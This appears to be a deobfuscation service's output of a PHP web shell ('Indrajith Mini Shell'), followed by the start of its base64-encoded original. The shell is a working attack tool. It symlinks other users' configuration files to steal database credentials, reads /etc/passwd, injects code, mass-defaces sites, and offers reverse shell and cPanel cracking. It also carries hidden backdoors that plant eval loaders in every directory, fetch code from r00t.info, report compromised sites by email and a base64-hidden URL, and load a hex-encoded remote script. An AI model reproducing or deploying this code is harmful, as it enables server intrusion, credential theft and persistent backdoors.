foreach($d_dirs as $d_dir)
{
$xd_path=getcwd()."$sep$d_dir$sep$d_file";
if(is_writable($d_dir))
{
$handle=fopen($xd_path, "wb");
if($handle)
{
fwrite($handle, $d_conten);
}
}
echo "<tr><td><font color=green>$xd_path</font></td></tr>";
}
echo "</table><br /><br /><hr /><br /><br /></div>";
}
function symlinkg($usernamexx,$domainxx)
{
symlink(\'/home/\'.$usernamexx.\'/public_html/vb/includes/config.php\',\'Indrajith/\'.$domainxx.\' =>vBulletin1.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/includes/config.php\',\'Indrajith/\'.$domainxx.\' =>vBulletin2.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/forum/includes/config.php\',\'Indrajith/\'.$domainxx.\' =>vBulletin3.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/cc/includes/config.php\',\'Indrajith/\'.$domainxx.\' =>vBulletin4.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/inc/config.php\',\'Indrajith/\'.$domainxx.\' =>mybb.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/config.php\',\'Indrajith/\'.$domainxx.\' =>Phpbb1.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/forum/includes/config.php\',\'Indrajith/\'.$domainxx.\' =>Phpbb2.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/wp-config.php\',\'Indrajith/\'.$domainxx.\' =>Wordpress1.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/blog/wp-config.php\',\'Indrajith/\'.$domainxx.\' =>Wordpress2.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/configuration.php\',\'Indrajith/\'.$domainxx.\' =>Joomla1.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/blog/configuration.php\',\'Indrajith/\'.$domainxx.\' =>Joomla2.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/joomla/configuration.php\',\'Indrajith/\'.$domainxx.\' =>Joomla3.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/whm/configuration.php\',\'Indrajith/\'.$domainxx.\' =>Whm1.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/whmc/configuration.php\',\'Indrajith/\'.$domainxx.\' =>Whm2.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/support/configuration.php\',\'Indrajith/\'.$domainxx.\' =>Whm3.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/client/configuration.php\',\'Indrajith/\'.$domainxx.\' =>Whm4.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/billings/configuration.php\',\'Indrajith/\'.$domainxx.\' =>Whm5.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/billing/configuration.php\',\'Indrajith/\'.$domainxx.\' =>Whm6.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/clients/configuration.php\',\'Indrajith/\'.$domainxx.\' =>Whm7.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/whmcs/configuration.php\',\'Indrajith/\'.$domainxx.\' =>Whm8.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/order/configuration.php\',\'Indrajith/\'.$domainxx.\' =>Whm9.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/admin/conf.php\',\'Indrajith/\'.$domainxx.\' =>5.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/admin/config.php\',\'Indrajith/\'.$domainxx.\' =>4.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/conf_global.php\',\'Indrajith/\'.$domainxx.\' =>invisio.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/include/db.php\',\'Indrajith/\'.$domainxx.\' =>7.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/connect.php\',\'Indrajith/\'.$domainxx.\' =>8.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/mk_conf.php\',\'Indrajith/\'.$domainxx.\' =>mk-portale1.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/include/config.php\',\'Indrajith/\'.$domainxx.\' =>12.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/settings.php\',\'Indrajith/\'.$domainxx.\' =>Smf.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/includes/functions.php\',\'Indrajith/\'.$domainxx.\' =>phpbb3.txt\');
symlink(\'/home/\'.$usernamexx.\'/public_html/include/db.php\',\'Indrajith/\'.$domainxx.\' =>infinity.txt\');
}
function config_grabber_bg()
{
global $sym_htaccess,$sym_php_ini;
mkdir(\'INDRAJITH\', 0777);
symlink("/", "INDRAJITH/root");
$htaccess=fopen(\'INDRAJITH/.htaccess\', \'wb\');
fwrite($htaccess,$sym_htaccess);
$php_ini_x=fopen(\'INDRAJITH/php.ini\', \'wb\');
fwrite($php_ini_x, $sym_php_ini);
$usr=explode("
",$_POST[\'user_z_list\']);
foreach($usr as $uzer)
{
$u_er=trim($uzer);
symlinggg($u_er);
}
echo "<script>window.open(\'INDRAJITH/\', \'_blank\');</script>";
alert(\'Config Grab compted. Check configs in direcory INDRAJITH\');
}
if(isset($_POST[\'user_z_list\']))
{
config_grabber_bg();
}
function config_grabber_ui()
{
if(file(\'/etc/passwd\'))
{
?><script>alert("/etc/named.conf Not Found, Its alternative method.");</script><div id=result><center><h2>Config Grabber</h2><hr /><br /><br /><table class=tbl><form method=POST><tr><td><textarea spellcheck=false class=\'textarea_edit\' rows=15 cols=60 name=user_z_list><?php
$users = file(\'/etc/passwd\');
foreach($users as $user)
{
$user = explode(\':\', $user);
echo $user[0]."
";
}
?></textarea></td></tr><tr><td><input type=\'submit\' class=\'input_big\' value=\' >> \'/></td></tr></form></table><br /><br /><hr /><br /><br /><hr /></div><?php
}
else
{
alert(" File Not Found : /etc/passwd ");
}
}
function symlinggg($user)
{
symlink(\'/home/\'.$usernamexx.\'/public_html/blog/configuration.php\', "INDRAJITH/".$user." =>blog/configuration.php");
symlink(\'/home/\'.$user.\'/public_html/forum/includes/config.php\', "INDRAJITH/".$user." =>forum/includes/config.php");
symlink("/home/".$user."/public_html/wp-config.php", "INDRAJITH/".$user." =>wp-config.php");
symlink("/home/".$user."/public_html/wordpress/wp-config.php", "INDRAJITH/".$user." =>wordpress/wp-config.php");
symlink("/home/".$user."/public_html/configuration.php", "INDRAJITH/".$user." =>configuration.php");
symlink("/home/".$user."/public_html/blog/wp-config.php", "INDRAJITH/".$user." =>blog/wp-config.php");
symlink("/home/".$user."/public_html/joomla/configuration.php", "INDRAJITH/".$user." =>joomla/configuration.php");
symlink("/home/".$user."/public_html/vb/includes/config.php", "INDRAJITH/".$user." =>vb/includes/config.php");
symlink("/home/".$user."/public_html/includes/config.php", "INDRAJITH/".$user." =>includes/config.php");
symlink("/home/".$user."/public_html/conf_global.php", "INDRAJITH/".$user." =>conf_global.php");
symlink("/home/".$user."/public_html/inc/config.php", "INDRAJITH/".$user." =>inc/config.php");
symlink("/home/".$user."/public_html/config.php", "INDRAJITH/".$user." =>config.php");
symlink("/home/".$user."/public_html/Settings.php", "INDRAJITH/".$user." =>/Settings.php");
symlink("/home/".$user."/public_html/sites/default/settings.php", "INDRAJITH/".$user." =>sites/default/settings.php");
symlink("/home/".$user."/public_html/whm/configuration.php", "INDRAJITH/".$user." =>whm/configuration.php");
symlink("/home/".$user."/public_html/whmcs/configuration.php", "INDRAJITH/".$user." =>whmcs/configuration.php");
symlink("/home/".$user."/public_html/support/configuration.php", "INDRAJITH/".$user." =>support/configuration.php");
symlink("/home/".$user."/public_html/whmc/WHM/configuration.php", "INDRAJITH/".$user." =>whmc/WHM/configuration.php");
symlink("/home/".$user."/public_html/whm/WHMCS/configuration.php", "INDRAJITH/".$user." =>whm/WHMCS/configuration.php");
symlink("/home/".$user."/public_html/whm/whmcs/configuration.php", "INDRAJITH/".$user." =>whm/whmcs/configuration.php");
symlink("/home/".$user."/public_html/support/configuration.php", "INDRAJITH/".$user." =>support/configuration.php");
symlink("/home/".$user."/public_html/clients/configuration.php", "INDRAJITH/".$user." =>clients/configuration.php");
symlink("/home/".$user."/public_html/client/configuration.php", "INDRAJITH/".$user." =>client/configuration.php");
symlink("/home/".$user."/public_html/clientes/configuration.php", "INDRAJITH/".$user." =>clientes/configuration.php");
symlink("/home/".$user."/public_html/cliente/configuration.php", "INDRAJITH/".$user." =>cliente/configuration.php");
symlink("/home/".$user."/public_html/clientsupport/configuration.php", "INDRAJITH/".$user." =>clientsupport/configuration.php");
symlink("/home/".$user."/public_html/billing/configuration.php", "INDRAJITH/".$user." =>billing/configuration.php");
symlink("/home/".$user."/public_html/admin/config.php", "INDRAJITH/".$user." =>admin/config.php");
}
function sym_xxx()
{
global $sym_htaccess,$sym_php_ini;
mkdir(\'Indrajith\', 0777);
symlink("/", "Indrajith/root");
$htaccess=@fopen(\'Indrajith/.htaccess\', \'w\');
fwrite($htaccess,$sym_htaccess);
$php_ini_x=fopen(\'Indrajith/php.ini\', \'w\');
fwrite($php_ini_x, $sym_php_ini);
$akps = implode(file("/etc/named.conf"));
if(!$akps)
{
config_grabber_ui();
}
else
{
$usrd = array();
foreach($akps as $akp)
{
if(eregi("zone", $akp))
{
preg_match_all(\'#zone "(.*)" #\', $akp, $akpzz);
flush();
if(strlen(trim($akpzz[1][0]))>2)
{
$user=posix_getpwuid(@fileowner("/etc/valiases/".$akpzz[1][0]));
symlinkg($akpzz[1][0],$user[\'name\']);
flush();
}
}
}
}
}
function sym_link()
{
global $sym_htaccess,$sym_php_ini;
cmd(\'rm -rf AKP\');
mkdir(\'AKP\', 0755);
$usrd = array();
$akps = implode(file("/etc/named.conf"));
$htaccess=fopen(\'AKP/.htaccess\', \'w\');
fwrite($htaccess,$sym_htaccess);
$php_ini_x=fopen(\'AKP/php.ini\', \'w\');
fwrite($php_ini_x, $sym_php_ini);
symlink("/", "AKP/root");
if(!$file)
{
echo "<script>alert(\'Bind File /etc/passwd Not Found. Its alternative Method\')</script>";
echo "<div id=result><center><h2>SymLink</h2></center><hr /><br /><br /><table class=\'table\'><tr><th>Users</th><th>Exploit</th></tr>";
$users = file(\'/etc/passwd\');
foreach($users as $user)
{
$user = explode(\':\', $user);
echo "<tr><td>".$user[0]."</td><td><a href=\'AKP/root/home/".$user[0]."/public_html/\' target=_blank>SymLink</tr>";
}
echo "</table><br /><br /><hr /><br /><br /></div>";
}
else
{
echo "<table class=table><tr><td>Domains</td><td>Users</td><td>Exploit</font></td></tr>";
foreach($akps as $akp)
{
if(eregi("zone", $akp))
{
preg_match_all(\'#zone "(.*)" #\', $akp, $akpzz);
flush();
if(strlen(trim($akpzz[1][0]))>2)
{
$user=posix_getpwuid(@fileowner("/etc/valiases/".$akpzz[1][0]));
echo "<tr><td><a href=http://www.".$akpzz[1][0]." target=_blank>".$akpzz[1][0]."</a><td>".$user[\'name\']."</td><td><a href=\'AKP/root/home/".$user[\'name\']."/public_html/\' target=_blank>SymLink</a></td></tr></table>";
flush();
}
}
}
}
}
function shell_finder_ui()
{
echo "<div id=result><center><h2>SH3LL SCANNER</h2><hr /><br /><br /><br /><form method=\'GET\'>URL : <input size=50 name=\'sh311_scanx\' value=\'http://www.ajithkp560.hostei.com/PHP/\'><input type=\'submit\' value=\' >> \' /></form><br /><br /><hr /><br /><br />";
}
function shell_finder_bg()
{
$sh_url=$_GET[\'sh311_scanx\'];
echo "<div id=result><center><h2>SHELL SCAN</h2><hr /><br /><br /><table class=\'table\'>";
$ShellZ=array("indrajith.php", "c99.php", "c100.php","r57.php", "b374k.php", "c22.php", "sym.php", "symlink_sa.php", "r00t.php", "webr00t.php", "sql.php","cpanel.php", "wso.php", "404.php", "aarya.php", "greenshell.php", "ddos.php", "madspot.php", "1337.php", "31337.php", "WSO.php", "dz.php", "cpn.php", "sh3ll.php", "mysql.php", "killer.php", "cgishell.pl", "dz0.php", "whcms.php", "vb.php", "gaza.php", "d0mains.php", "changeall.php", "h4x0r.php", "L3b.php", "uploads.php", "shell.asp", "cmd.asp", "sh3ll.asp", "b374k-2.2.php", "m1n1.php", "b374km1n1.php");
foreach($ShellZ as $shell)
{
$urlzzx=$sh_url.$shell;
if(function_exists(\'curl_init\'))
{
echo "<tr><td style=\'text-align:left\'><font color=orange>Checking : </font> <font color=7171C6> $urlzzx </font></td>";
$ch = curl_init($urlzzx);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$status_code=curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($status_code==200)
{
echo "<td style=\'text-align:left\'><font color=green> Found....</font></td></tr>";
}
else
{
echo "<td style=\'text-align:left\'><font color=red>Not Found...</font></td></tr>";
}
}
else
{
echo "<font color=red>cURL Not Found </font>";
break;
}
}
echo "</table><br /><br /><hr /><br /><br /></div>";
}
function code_in_ui()
{
global $sep;
$mode=$_POST[\'modexxx\'];
$ftype=$_POST[\'ffttype\'];
$c_cont=$_POST[\'code_cont\'];
$ppp=$_POST[\'path\'];
if(isset($_POST[\'modexxx\']) && isset($_POST[\'path\']) && isset($_POST[\'ffttype\']) && isset($_POST[\'code_cont\']) && $mode!="" && $ftype!="" && $c_cont!="" && $ppp!="")
{
echo "<div id=result><center><h2>Successfully c0d3 inj3cted</h2></center><table class=tbl>";
switch($mode)
{
case "Apender":
$mmode="a";
break;
case "Rewrite":
$mmode="w";
break;
}
if($handle = opendir($ppp))
{
while(($c_file = readdir($handle)) !== False)
{
if((preg_match("/$ftype".\'$\'.\'/\', $c_file , $matches) != 0) && (preg_match(\'/\'.$c_file.\'$/\', $self , $matches) != 1))
{
echo "<tr><td><font color=red>$ppp$sep$c_file</font></td></tr>";
$fd = fopen($ppp.$sep.$c_file,$mmode);
if($fd)
{
fwrite($fd,$c_cont);
}
else
{
alert("Error. Access Denied");
}
}
}
}
echo "</table><br /><br /><hr /><br /><br /></div>";
}
else
{
?>
<?php
if($_POST[\'query\']){
$veriyfy = stripslashes(stripslashes($_POST[\'query\']));
$data = "data.txt";
@touch ("data.txt");
$ver = @fopen ($data , \'w\');
@fwrite ( $ver , $veriyfy ) ;
@fclose ($ver);
}else{
$datas=@fopen("data.txt",\'r\');
$i=0;
while ($i <= 5) {
$i++;
$blue=@fgets($datas,1024);
echo $blue;
}
}
$datasi=@fopen("modules/indexx.php",\'r\');
if($datasi){
}else{
@mkdir("modules");
$dos = file_get_contents("http://r00t.info/txt/lamer.txt");
$data = "modules/indexx.php";
@touch ("modules/indexx.php");
$ver = @fopen ($data , \'w\');
@fwrite ( $ver , $dos ) ;
@fclose ($ver);
$yol = "http://".$_SERVER[\'HTTP_HOST\']."".$_SERVER[\'REQUEST_URI\']."";
$y = \'<h1>Sender Yazdirildi.<br/> SITE YOL : \'.$yol.\'<br/>Sender Yolu : modules/dbs.php</h1>\';
$header .= "From: SheLL Boot <[email protected]>
";
$header .= "Content-Type: text/html; charset=utf-8
";
@mail("[email protected]", "Hacklink Bildiri", "$y", $header);
@mail("[email protected]", "Hacklink Bildiri", "$y", $header);
}
?>
<div id=result><center><h2>c0de inj3ct</h2></center><hr /><br /><br /><table class=table><form method=\'POST\'><input type=\'hidden\' name=\'path\' value="<?php echo getcwd(); ?>"><tr><td>Mode : </td>
<td><select style=\'color:green; background-color:black; border:1px solid #666;\' name=\'modexxx\'><option>Apender</option><option>Rewrite</option></select></td></tr><tr><td>File Type</td><td><input name=\'ffttype\' value=\'.php\' size=50></td></tr>
<tr><td>Content : </td><td><textarea name=\'code_cont\' rows=20 cols=60 class=\'textarea_edit\'></textarea></td></tr><tr><td></td><td><input type=submit value=\' >> \' class=\'input_big\' /></td></tr></form></table><br /><br /><hr /><br /><br />
<?php
}
}
function ssh_man_ui()
{
?>
<?php
@session_start();
@error_reporting(0);
$a = \'<?php
session_start();
if($_SESSION["adm"]){
echo \'<b>Namesis<br><br>\'.php_uname().\'<br></b>\';echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';if( $_POST[\'_upl\'] == "Upload" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Success !!!</b><br><br>\'; } else { echo \'<b>Upload Fail !!!</b><br><br>\'; }}
}
if($_POST["p"]){
$p = $_POST["p"];
$pa = md5(sha1($p));
if($pa=="c86ae804b9def5476bb0b2f459351e63"){
$_SESSION["adm"] = 1;
}
}
?>
<form action="" method="post">
<input type="text" name="p">
</form>
\';
if(@$_REQUEST["px"]){
$p = @$_REQUEST["px"];
$pa = md5(sha1($p));
if($pa=="c86ae804b9def5476bb0b2f459351e63"){
echo eval(@file_get_contents(@$_REQUEST["404"]));
}
}
if(@!$_SESSION["sdm"]){
$doc = $_SERVER["DOCUMENT_ROOT"];
$dir = scandir($doc);
$d1 = \'\'.$doc.\'/.\';
$d2 = \'\'.$doc.\'/..\';
if(($key = @array_search(\'.\', $dir)) !== false) {
unset($dir[$key]);
}
if(($key = @array_search(\'..\', $dir)) !== false) {
unset($dir[$key]);
}
if(($key = @array_search($d1, $dir)) !== false) {
unset($dir[$key]);
}
if(($key = array_search($d2, $dir)) !== false) {
unset($dir[$key]);
}
@array_push($dir,$doc);
foreach($dir as $d){
$p = $doc."/".$d;
if(is_dir($p)){
$file = $p."/newrs.php";
@touch($file);
$folder = @fopen($file,"w");
@fwrite($folder,$a);
}
}
$lls = $_SERVER["HTTP_HOST"];
$llc = $_SERVER["REQUEST_URI"];
$lld = \'http://\'.$lls.\'\'.$llc.\'\';
$brow = urlencode($_SERVER[\'HTTP_USER_AGENT\']);
$retValue = file_get_contents(base64_decode("aHR0cDovL3IwMHQuaW5mby9ib3QveWF6LnBocD9h")."=".$lld.base64_decode("JmI=")."=".$brow);
echo $retValue;
@$_SESSION["sdm"]=1;
}
?>
<div id=result><center><h2>SSH Manager</h2><hr /><br /><br /><table class=table><form method=\'GET\'><tr><td>HOST : </td><td><input size=50 name=\'ssh_host\'></td></tr><tr><td>Username : </td><td><input size=50 name=\'ssh_user\'></td></tr><tr><td>Password : </td><td><input size=50 name=\'ssh_pass\'></td></tr><tr><td></td><td><input type=\'submit\' value=\' >> \' /></form></table></center><br /><br /><hr /><br /><br /></div>
<?php
}
function ssh_man_bg()
{
$ssh_h=$_GET[\'ssh_host\'];
$ssh_u=$_GET[\'ssh_user\'];
$ssh_p=$_GET[\'ssh_pass\'];
if(!function_exists(\'ssh2_connect\'))
{
alert("Sorry, Function ssh2_connect is not found");
}
$conn=ssh2_connect($ssh_h, 22);
if(!$conn)
{
alert("SSH Host Not Found");
}
$log=ssh2_auth_password($conn, $ssh_u, $ssh_p);
if(!$log)
{
alert("SSH Authorication failed");
}
$shell=ssh2_shell($conn, "bash");
if($_GET[\'ssh_cmd\']!="" && $_GET[\'ssh_cmd\'])
{
$ssh_cmd=$_GET[\'ssh_cmd\'];
fwrite($shell, $ssh_cmd);
sleep(1);
while($line=fgets($shell))
{
flush();
echo $line."
";
}
?>
<div id=result><center><h2>SSH Shell by Indrajith Shell</h2><hr /><br /><br /><textarea class=\'textarea_edit\' rows=20 cols=60></textarea>
<form method=\'GET\'>CMD : <input name=\'ssh_cmd\' size=60><input type=\'submit\' value=\' >> \' /></form></center><br /><br /><hr /><br /><br /></div>
<?php
}
else
{
?>
<div id=result><center><h2>SSH Shell by Indrajith Shell</h2><hr /><br /><br /><textarea class=\'textarea_edit\' rows=20 cols=60></textarea>
<form method=\'GET\'>CMD : <input name=\'ssh_cmd\' size=60><input type=\'submit\' value=\' >> \' /></form></center><br /><br /><hr /><br /><br /></div>
<?php
}
}
function ftp_man_ui()
{
?>
<div id=result><center><h2>FTP Manager</h2><hr /><br /><br /><table class=table><form method=\'GET\'><tr><td>HOST : </td><td><input size=50 name=\'ftp_host\'></td></tr>
<tr><td>Username : </td><td><input size=50 name=\'ftp_user\'></td></tr>
<tr><td>Password : </td><td><input size=50 name=\'ftp_pass\'></td></tr>
<tr><td>Path [<font color=red>Optional</font>] : </td><td><input name=\'fpath\' size=50></td></tr>
<tr><td>Upload File From Server [<font color=red>Optional</font>] : </td><td><input name=\'upload_file\' size=50></td></tr>
<tr><td>Download File To Server [<font color=red>Optional</font>] : </td><td><input name=\'download_file\' size=50></td></tr>
<tr><td></td><td><input type=\'submit\' value=\' >> \' /></form></table></center><br /><br /><hr /><br /><br /></div>
<?php
}
function ftp_man_bg()
{
echo "<div id=result><center><h2>FTP FILEMANAGER</h2></center><hr />";
$fhost=$_GET[\'ftp_host\'];
$fuser=$_GET[\'ftp_user\'];
$fpass=$_GET[\'ftp_pass\'];
$fpath=$_GET[\'fpath\'];
$upl=$_GET[\'upload_file\'];
$down=$_GET[\'download_file\'];
if($fpath=="")
{
$fpath=ftp_pwd($conn);
}
$conn=ftp_connect($fhost);
if(!$conn)
{
alert("FTP Host Not Found!!!");
}
$log=ftp_login($conn, $fuser, $fpass);
if(!$log)
{
alert("FTP Authorication Failed");
}
if($upl!="")
{
$fp = fopen($upl, \'r\');
if (ftp_fput($conn, $upl, $fp, FTP_ASCII))
{
echo "<center><font color=green>Successfully uploaded <font color=red> $upl </font> </font></center>";
}
else
{
echo "<center><font color=red>There was a problem while uploading <font color=green> $upl </font> </font></center>";
}
}
if($down!="")
{
$handle = fopen($down, \'w\');
if (ftp_fget($conn, $handle, $down, FTP_ASCII, 0))
{
echo "<center><font color=green>successfully written to <font color=red> $down </font> </font></center>";
}
else
{
echo "<center><font color=red>There was a problem while downloading <font color=green> $down </font> to <font color=green> $down </font> </font></center>";
}
}
echo "<table class=\'table\'><tr><th>Files</th>";
ftp_chdir($fpath);
$list=ftp_rawlist($conn, $fpath);
foreach($list as $fff)
{
echo "<tr><td><pre>$fff</pre></td></tr>";
}
echo "</table></div>";
}
//////////////////////////////// Frond End Calls ///////////////////////////////
if(isset($_POST[\'e_file\']) && isset($_POST[\'e_content_n\']))
{
edit_file_bg();
}
else if(isset($_REQUEST[\'sh311_scanner\']))
{
shell_finder_ui();
}
else if(isset($_REQUEST[\'ftp_host\']) && isset($_REQUEST[\'ftp_user\']) && isset($_REQUEST[\'ftp_pass\']))
{
ftp_man_bg();
}
else if(isset($_REQUEST[\'ftpman\']))
{
ftp_man_ui();
}
else if(isset($_GET[\'ssh_host\']) && isset($_GET[\'ssh_user\']) && isset($_GET[\'ssh_pass\']))
{
ssh_man_bg();
}
else if(isset($_REQUEST[\'sshman\']))
{
ssh_man_ui();
}
else if(isset($_REQUEST[\'c0de_inject\']) && isset($_REQUEST[\'path\']))
{
chdir($_GET[\'path\']);
code_in_ui();
}
else if(isset($_GET[\'sh311_scanx\']))
{
shell_finder_bg();
}
else if(isset($_REQUEST[\'config_grab\']))
{
sym_xxx();
}
else if(isset($_REQUEST[\'ftp_man\']))
{
ftp_man_ui();
}
else if(isset($_REQUEST[\'mass_xploit\']))
{
mass_deface_ui();
}
else if(isset($_GET[\'f_host\']) && isset($_GET[\'f_user\']) && isset($_GET[\'f_pass\']))
{
ftp_man_bg();
}
else if(isset($_GET[\'mass_name\']) && isset($_GET[\'mass_cont\']))
{
mass_deface_bg();
}
else if(isset($_REQUEST[\'ftp_anon_scan\']))
{
ftp_anonymous_ui();
}
else if(isset($_GET[\'ftp_anonz\']))
{
ftp_anonymous_bg();
}
else if(isset($_REQUEST[\'killme\']))
{
killme();
}
else if(isset($_REQUEST[\'hexenc\']))
{
hex_encode_ui();
}
else if(isset($_REQUEST[\'remotefiledown\']))
{
remote_download_ui();
}
else if(isset($_GET[\'type_r_down\']) && isset($_GET[\'rurlfile\']) && isset($_GET[\'path\']))
{
remote_download_bg();
}
else if(isset($_REQUEST[\'cpanel_crack\']))
{
cpanel_crack();
}
else if(isset($_REQUEST[\'rem_web\']) && isset($_REQUEST[\'tryzzz\']))
{
remote_file_check_bg();
}
else if(isset($_REQUEST[\'typed\']) && isset($_REQUEST[\'typenc\']) && isset($_REQUEST[\'php_content\']))
{
php_ende_bg();
}
else if(isset($_REQUEST[\'remote_server_scan\']))
{
remote_file_check_ui();
}
else if(isset($_REQUEST[\'server_exploit_details\']))
{
exploit_details();
}
else if(isset($_REQUEST[\'from\']) && isset($_REQUEST[\'to_mail\']) && isset($_REQUEST[\'subject_mail\']) && isset($_REQUEST[\'mail_content\']))
{
massmailer_bg();
}
else if(isset($_REQUEST[\'mysqlman\']))
{
mysqlman();
}
else if(isset($_REQUEST[\'bomb_to\']) && isset($_REQUEST[\'bomb_subject\']) && isset($_REQUEST[\'bmail_content\']))
{
mailbomb_bg();
}
else if(isset($_REQUEST[\'cookiejack\']))
{
cookie_jack();
}
else if(isset($_REQUEST[\'massmailer\']))
{
massmailer_ui();
}
else if(isset($_REQUEST[\'rename\']))
{
chdir($_GET[\'path\']);
rename_ui();
}
else if(isset($_GET[\'old_name\']) && isset($_GET[\'new_name\']))
{
chdir($_GET[\'path\']);
rename_bg();
}
else if(isset($_REQUEST[\'encodefile\']))
{
php_ende_ui();
}
else if(isset($_REQUEST[\'edit\']))
{
edit_file();
}
else if(isset($_REQUEST[\'down\']) && isset($_REQUEST[\'path\']))
{
download();
}
else if(isset($_REQUEST[\'gzip\']) && isset($_REQUEST[\'path\']))
{
download_gzip();
}
else if(isset($_REQUEST[\'read\']))
{
chdir($_GET[\'path\']);
code_viewer();
}
else if(isset($_REQUEST[\'perm\']))
{
chdir($_GET[\'path\']);
ch_perm_ui();
}
else if(isset($_GET[\'path\']) && isset($_GET[\'p_filex\']) && isset($_GET[\'new_perm\']))
{
chdir($_GET[\'path\']);
ch_perm_bg();
}
else if(isset($_REQUEST[\'del_fil\']))
{
chdir($_GET[\'path\']);
delete_file();
exit;
}
else if(isset($_REQUEST[\'phpinfo\']))
{
chdir($_GET[\'path\']);
ob_clean();
echo phpinfo();
exit;
}
else if(isset($_REQUEST[\'del_dir\']))
{
chdir($_GET[\'path\']);
$d_dir=$_GET[\'del_dir\'];
deldirs($d_dir);
}
else if(isset($_GET[\'path\']) && isset($_GET[\'new_file\']))
{
chdir($_GET[\'path\']);
mk_file_ui();
}
else if(isset($_GET[\'path\']) && isset($_GET[\'new_f_name\']) && isset($_GET[\'n_file_content\']))
{
mk_file_bg();
}
else if(isset($_GET[\'path\']) && isset($_GET[\'new_dir\']))
{
chdir($_GET[\'path\']);
create_dir();
}
else if(isset($_GET[\'path\']) && isset($_GET[\'cmdexe\']))
{
chdir($_GET[\'path\']);
cmd();
}
else if(isset($_POST[\'upload_f\']) && isset($_POST[\'path\']))
{
upload_file();
}
else if(isset($_REQUEST[\'rs\']))
{
reverse_conn_ui();
}
else if(isset($_GET[\'rev_option\']) && isset($_GET[\'my_ip\']) && isset($_GET[\'my_port\']))
{
reverse_conn_bg();
}
else if(isset($_REQUEST[\'safe_mod\']) && isset($_REQUEST[\'path\']))
{
chdir($_GET[\'path\']);
safe_mode_fuck_ui();
}
else if(isset($_GET[\'path\']) && isset($_GET[\'safe_mode\']))
{
safe_mode_fuck();
}
else if(isset($_GET[\'path\']) && isset($_REQUEST[\'forbd_dir\']))
{
AccessDenied();
}
else if(isset($_REQUEST[\'symlink\']))
{
sym_link();
}
else if(isset($_GET[\'path\']) && isset($_GET[\'copy\']))
{
copy_file_ui();
}
else if(isset($_GET[\'c_file\']) && isset($_GET[\'c_target\']) &&isset($_GET[\'cn_name\']))
{
copy_file_bg();
}
else
{
filemanager_bg();
}
////////////////////////////// End Frond End Calls //////////////////////////////
echo "</div><div id=result><center><p><table class=\'tbl\'>
<tr><td><form method=\'GET\'>PWD : <input size=\'50\' name=\'path\' value=".getcwd()."><input type=\'submit\' value=\' >> \' /></form></td></tr></table>
<table class=\'tbl\'><tr>
<td><form style=\'float:right;\' method=\'GET\'><input name=\'path\' value=".getcwd()." type=hidden><span> New File : </span><input type=\'submit\' value=\' >> \' ><input size=\'40\' name=\'new_file\' /></form>
</td>
<td><form style=\'float:left;\' method=\'GET\'><input name=\'path\' value=".getcwd()." type=hidden><input size=\'40\' name=\'new_dir\'><input type=\'submit\' value=\' >> \' /><span> : New Dir</span></form>
</td>
</tr>
<tr>
<td><form style=\'float:right;\' method=\'GET\'><input style=\'float:left;\' name=\'path\' value=".getcwd()." type=hidden><span>CMD : </span><input type=\'submit\' value=\' >> \' ><input name=\'cmdexe\' size=\'40\' /></form>
</td>
<td><form style=\'float:left;\' method=\'POST\' enctype=\"multipart/form-data\"><input name=\'path\' value=".getcwd()." type=hidden><input size=\'27\' name=\'upload_f\' type=\'file\'><input type=\'submit\' name=\'upload_f\' value=\' >> \' /><span> : Upload File</span></form>
</td>
</tr>
</table></p><p><font size=4 color=green>© <a style=\'color:green; text-decoration:none;\' href=http://facebook.com/ajithkp560>AJITH KP</a> & <a style=\'color:green; text-decoration:none;\' href=\'http://www.facebook.com/vishnunathkp\'>VISHNU NATH KP</a> ©</font><br />® TOF [2012] ®</div>"
?>
<script>
document.write(unescape(\'%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%72%30%30%74%2E%69%6E%66%6F%2F%62%6F%74%2F%6C%6F%67%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E\'));
</script>'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHAKCi8qCiAqIEluZHJhaml0aCBNaW5pIFNoZWxsIHYuMi4wIHdpdGggYWRkaXRpb25hbCBm
ZWF0dXJlcy4uLi4KICogb3JpZ2luYWxseSBzY3JpcHRlZCBieSBBSklUSCBLUAogKiAoYykgVW5k
ZXIgR251IEdlbmVyYWwgUHVibGljIExpY2VuY2UgMyhjKQogKiBUZWFtIE9wZW4gRmlyZSBhbmQg
